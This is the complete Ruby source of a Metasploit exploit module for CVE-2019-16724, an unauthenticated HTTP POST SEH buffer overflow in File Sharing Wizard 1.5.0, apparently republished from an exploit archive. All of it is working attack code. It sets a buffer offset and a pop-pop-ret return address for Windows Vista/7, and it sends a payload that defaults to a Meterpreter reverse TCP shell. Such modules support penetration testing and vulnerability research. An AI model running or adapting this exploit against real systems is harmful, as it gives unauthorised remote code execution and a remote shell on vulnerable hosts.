Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super update_info(info,  
'Name' => 'File Sharing Wizard - POST SEH Overflow',  
'Description' => %q(  
This module exploits an unauthenticated HTTP POST SEH-based buffer overflow in File Sharing Wizard 1.5.0.  
),  
'Author' => [  
'x00pwn', # Original exploit  
'Dean Welch <dean_welch[at]rapid7.com>' # Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
%w[CVE 2019-16724],  
%w[EDB 47412]  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x20"  
},  
'DisclosureDate' => '2019-09-24',  
'DefaultOptions' =>  
{  
'RPORT' => 80,  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
},  
'Platform' => 'win',  
'Arch' => [ ARCH_X86 ],  
'Targets' =>  
[  
['Windows Vista / Windows 7 (x86)', { 'Offset' => 1040, 'Ret' => 0x7c38a67f }] # 0x7c38a67f : pop ecx # pop ecx # ret | {PAGE_EXECUTE_READ} [MSVCR71.dll]  
])  
end  
  
def check  
res = send_request_cgi  
if res.nil?  
fail_with(Failure::Unreachable, 'Connection timed out.')  
end  
# Checks for the `WWW-Authenticate` header in the response  
if res.code && res.code == 401 && res.headers['WWW-Authenticate'].include?('Basic realm="File Sharing Wizard"')  
CheckCode::Detected  
else  
CheckCode::Safe  
end  
end  
  
def exploit  
buf = rand_text_english(target['Offset'])  
buf << generate_seh_payload(target.ret)  
print_status('Sending payload to target')  
send_request_raw({ 'method' => 'POST', 'uri' => buf }, 0)  
end  
  
end